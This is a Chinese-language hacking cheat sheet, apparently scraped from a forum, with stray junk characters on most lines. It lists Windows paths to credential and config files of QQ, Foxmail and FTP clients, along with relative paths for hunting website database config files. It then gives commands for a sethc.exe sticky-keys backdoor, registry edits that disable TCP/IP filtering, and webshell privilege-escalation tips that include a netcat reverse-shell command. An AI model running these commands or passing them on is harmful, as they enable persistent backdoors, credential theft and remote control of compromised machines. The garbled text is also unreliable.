& D8 Q6 l1 D2 P4 @C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
; ~3 n  E3 C/ P" C- a, l/usr/tomcat6/bin/startup.sh
& ?, N2 |$ Y+ ?" j! X8 S8 P5 ]c:\Program Files\QQ2007\qq.exe
7 o* P; V8 N5 h" r% O3 }" b, T5 sc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
1 l4 X* h. u  v9 ]6 rc:\Program Files\Tencent\qq\bin\qq.exe
& }3 A/ g* X8 G8 r  n' ]6 M1 ~c:\Program Files\Tencent\qq2009\qq.exe
. W$ J, C  |& N9 w1 s$ qc:\Program Files\Tencent\qq2008\qq.exe
5 ^" Z" ^% l% o* U% B! r% N: ]" Yc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
" N$ D. {, G6 f! F8 |% lC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
+ s6 G: n' J& }4 {c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
, h# T3 n( u' |" h4 Hc:\Program Files\Tencent\RTXServer\AppConfig.xml
' C2 J/ Z* N& |9 u! xC:\Program Files\Foxmal\Foxmail.exe
3 z9 x; m+ X+ z& B6 k# HC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
1 j! H; |9 y* }C:\Program Files\tencent\Foxmal\accounts.cfg
7 G/ W" ^9 S' Y+ g1 yC:\Program Files\LeapFTP 3.0\LeapFTP.exe
+ G$ {9 @, ^- X( {1 b$ HC:\Program Files\LeapFTP\LeapFTP.exe
. @) J" @6 p8 N2 B5 u  \3 i" oc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
; F3 k9 o) T1 @5 ^0 u6 y  dc:\Program Files\Oracle\bin\regsvr32.exe
) k# j, e7 U1 O- s7 U) ^% ~c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
% D5 q& x# O6 C; |0 y$ ^
3.网站相对路径:
: v; |- z$ o0 ]/ Y0 x
& \8 r9 Q( w/ ^, h; Y) j/config.php
../../config.php
  `6 b. d  H) P( V3 L4 f../config.php
../../../config.php
8 h' i2 R4 p. T( K- R$ f/config.inc.php
./config.inc.php
, u! b/ j# a9 {5 z../../config.inc.php
' h: i/ u& h, g+ D. n: i1 I../config.inc.php
../../../config.inc.php
0 J6 N& n2 Q5 z6 B; n8 i; ^5 b/conn.php
./conn.php
& n) @4 M4 r! l3 z9 R../../conn.php
0 [/ h+ ~  C6 `! \& ~8 g3 Q../conn.php
../../../conn.php
& p/ Q: q$ B, Z. [. w/conn.asp
+ o" d3 B* s+ ?4 i7 e0 {& o# |* P! |./conn.asp
9 D1 N) g9 ^4 k- o0 A% G3 Q../../conn.asp
* |0 q: M, J3 {: j& g) M5 w../conn.asp
../../../conn.asp
# g+ U2 u; ^: v7 z1 O& K; a/config.inc.php
7 |& O" h; ^- J" d. ^; ]./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
& F. t' w/ N! X$ Y( {/config/config.inc.php
$ x: U9 g6 Z2 c0 F+ L) ^./config/config.inc.php
" u* A; B! `- r' R! J. T../../config/config.inc.php
+ T' o+ q% K5 G( ]- F: a0 R../config/config.inc.php
../../../config/config.inc.php
# T7 o$ ^8 F9 n9 ?* f: c2 P/config/conn.php
' y; i6 Q( G! i+ z./config/conn.php
, T2 l* y, s' \4 u0 c../../config/conn.php
- G; i8 N! j4 x) [5 v4 h* P../config/conn.php
2 @5 ^# D+ b' k: j! _8 A; \. F0 ?../../../config/conn.php
9 k* u4 O# |' X& t/config/conn.asp
3 f: k: `$ L( m7 m  p4 {9 Z% n./config/conn.asp
../../config/conn.asp
- }4 Z; s% `$ H- H../config/conn.asp
+ p( m/ S1 {: D9 k../../../config/conn.asp
7 {6 J$ G0 q3 g6 o& G/ x/config/config.inc.php
4 w" g9 D" M. X) k2 `5 `( Q1 q: X./config/config.inc.php
; \: j  W& f' `5 {  d9 a2 n../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
( h6 ^, l  ^( c, I, V$ r/data/config.php
../../data/config.php
% t7 _) @. C7 N../data/config.php
" f. M1 g" K# a  M6 @../../../data/config.php
/data/config.inc.php
1 j2 n: h$ R' U./data/config.inc.php
../../data/config.inc.php
* `) B( f2 E) S  P, d; Z2 E: S8 X../data/config.inc.php
../../../data/config.inc.php
! T( ]; s6 z- h/ j! \8 v( O6 J/data/conn.php
8 Z# n5 |5 q4 i" j$ {5 K# ?./data/conn.php
../../data/conn.php
../data/conn.php
3 f) h) M8 }" ^- c../../../data/conn.php
/data/conn.asp
4 T5 c. E! R8 m2 {4 R./data/conn.asp
../../data/conn.asp
1 b! t0 T# h  N../data/conn.asp
: q2 y4 m) i8 \/ y! }* |3 ]. p$ P../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
' Z' q" h: _" b  w../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
+ V( w$ C: o# n) o# E/include/config.php
../../include/config.php
( ~; E* ^. g: M) x! P../include/config.php
  x) t9 ]! @3 M6 c" f* a../../../include/config.php
/include/config.inc.php
./include/config.inc.php
, `( i2 D# C6 `4 ]../../include/config.inc.php
7 h" l$ l9 @1 W../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
) N' f' G  N8 F; V3 I- ~../../../include/conn.php
/include/conn.asp
1 C, P# X/ F7 A; `6 D, X./include/conn.asp
../../include/conn.asp
+ |9 @# A- ^1 C% U../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
9 W! l" T; |8 M$ F../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
( i/ H; j& h6 _, O. D6 T8 @" _../../inc/config.php
' k+ X( B2 k2 W! X0 Q../inc/config.php
& C1 I0 T( m! X7 m6 T../../../inc/config.php
/inc/config.inc.php
5 k( P4 X' u- x+ J# x* M# W./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
6 w% d2 L' T8 F4 w1 t../../../inc/config.inc.php
/inc/conn.php
$ S" Q, `" p- R- k4 C./inc/conn.php
7 Z* o/ d. f; j../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
% i% l7 W# u) f/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
3 q/ l, Q/ E* J0 L( e% F0 m/inc/config.inc.php
6 X/ i& ~5 A9 v* s  j% O./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
1 T$ Q& d& p* a) v../../index.php
$ o& t( s/ d% I8 H# t8 v../index.php
* D7 @- Y& ]; T+ q../../../index.php
; H/ D8 C0 @4 B/index.asp
! [$ ]2 a' U- m! C; \( O./index.asp
../../index.asp
../index.asp
) Z+ J% W! b7 g5 j$ r+ t/ J# b# o, `../../../index.asp
+ g/ ]: K. I# @0 j% ~  z替换SHIFT后门
6 c5 i& _! c# o* L! {　attrib c:\windows\system32\sethc.exe -h -r -s
4 P8 h0 I& B) ]5 v- n
/ h0 j5 r6 [- J& O: ^: x　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

8 N  s0 t" z) z) N( K9 v# l　　del c:\windows\system32\sethc.exe

  F! g& r# O. l6 i- r　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
, |3 e* _' m' S" e, a" F: `$ t
8 W. }) O9 B3 U; R5 C　　attrib c:\windows\system32\sethc.exe +h +r +s

$ a' z" _8 n; l7 ?　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
2 F/ {5 w' ?0 m: S) Q" KHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
; E$ t, _' H4 Y- a+ jregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
1 y' |: G: Z4 y; \& y2 Q
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
  U' a/ r. g5 |
再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
, ~, h, m( q' \regedit -s D:\c.reg
9 U0 B; a+ {0 T" N( {导入注册表即可
+ {! {4 \3 f5 Z' Q
webshell提权小技巧
8 M4 w: V$ Y! l7 A, g& ]cmd路径:
c:\windows\temp\cmd.exe
$ B1 F* q- ~, Unc也在同目录下
1 P- S9 W- L9 l: X! ~0 W例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
' h! T# T, Z& O
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
, Z/ p$ W6 f, a5 D3 f却能成功。。
这个不是重点
8 p+ j& x0 `, h我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功